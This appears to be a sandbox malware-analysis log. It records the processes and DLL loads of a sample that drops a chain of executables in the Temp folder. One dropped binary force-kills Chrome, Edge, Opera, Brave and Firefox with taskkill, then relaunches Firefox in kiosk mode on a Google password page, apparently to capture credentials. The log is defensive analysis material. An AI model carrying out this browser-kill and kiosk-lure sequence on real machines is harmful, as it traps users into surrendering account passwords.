Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002608001\num.exe "C:\Users\user\AppData\Local\Temp\1002608001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8bf06fec-0dcd-48c2-953a-7c50b40f4239} 5928 "\\.\pipe\gecko-crash-server-pipe.5928" 2b9a4e6df10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe "C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4288 -parentBuildID 20230927232528 -prefsHandle 4664 -prefMapHandle 4200 -prefsLen 26431 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0f1f2212-7e79-4ebe-a85e-e2d9c0caa83f} 5928 "\\.\pipe\gecko-crash-server-pipe.5928" 2b9b6ee1210 rdd
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process created: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe "C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe"
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process created: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe "C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe "C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe"
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002608001\num.exe "C:\Users\user\AppData\Local\Temp\1002608001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process created: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe "C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe"
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process created: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe "C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe"
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2220 -prefsLen 25416 -prefMapSize 238941 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d9e7d52-f4a7-4cd9-91e8-b4288aaa4407} 8032 "\\.\pipe\gecko-crash-server-pipe.8032" 23e7356d710 socket
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe "C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe "C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe "C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe "C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe "C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002608001\num.exe "C:\Users\user\AppData\Local\Temp\1002608001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process created: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe "C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process created: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe "C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process created: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe "C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe"
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process created: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe "C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8bf06fec-0dcd-48c2-953a-7c50b40f4239} 5928 "\\.\pipe\gecko-crash-server-pipe.5928" 2b9a4e6df10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4288 -parentBuildID 20230927232528 -prefsHandle 4664 -prefMapHandle 4200 -prefsLen 26431 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0f1f2212-7e79-4ebe-a85e-e2d9c0caa83f} 5928 "\\.\pipe\gecko-crash-server-pipe.5928" 2b9b6ee1210 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2220 -prefsLen 25416 -prefMapSize 238941 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d9e7d52-f4a7-4cd9-91e8-b4288aaa4407} 8032 "\\.\pipe\gecko-crash-server-pipe.8032" 23e7356d710 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Section loaded: mswsock.dll	Jump to behavior
